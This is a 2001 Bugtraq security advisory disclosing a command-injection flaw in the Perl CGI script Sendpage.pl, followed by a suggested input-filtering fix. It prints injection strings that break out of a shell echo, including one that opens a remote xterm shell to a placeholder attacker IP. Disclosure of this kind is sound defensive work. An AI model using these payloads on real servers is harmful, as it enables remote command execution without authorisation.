[LWN Logo]
[LWN.net]
From:	 "Pedram Amini" <pedram.amini@tulane.edu>
To:	 <bugtraq@securityfocus.com>
Subject: Sendpage (Perl CGI) Remote Execution Vulnerability
Date:	 Tue, 27 Nov 2001 14:15:35 -0600

* This script is old (1996).
* This script is available at:
http://honor.sprawl.com/Software/Sendpage/
* The author of the script was contacted on October 2nd, no response has
been received.
* See Bottom for fix.

Despite the scripts age I've seen it around and administrators should be
aware of this problem. Sendpage.pl basically reads in some input through
standard HTML forms, does some work, and then pipes a string to a user
defined executable which will then send that information as a page (page
as in the telecommunications type) to the intended recipient.

The offending line of code that allows us to execute our own command is
found on line 68.

68: { $ret=`/bin/echo \"$message\" | $pcmd`; }

Examining the script shows that aside from basic URL decoding (lines 30
and 31) no further parsing is done on $message. So what can we do with
this? We can end the echo statement, run our own command, and then start
a new "un-ended" echo statement to satisfy the remainder of the command
line. In Essence:

	test"; OUR COMMAND; echo "message

As an example go to the form page, choose a recipient, and enter the
following as your message:

	test"; touch /tmp/blah; echo "message

Assuming /tmp/blah didn't exist before, it should now. Spawning a shell
with the permissions of the web server is as simple as:

	test"; sh -c 'xterm -display ATACKER_IP:0.0 &'; echo "message

To fix, simply filter out all "dangerous" characters:
,';"/`\%$#{}-&<>... I prefer to keep things simple and remove all
non-alphanumeric characters:

	$message =~ s/[^\w\s]//g;


Pedram Amini
pedram@redhive.com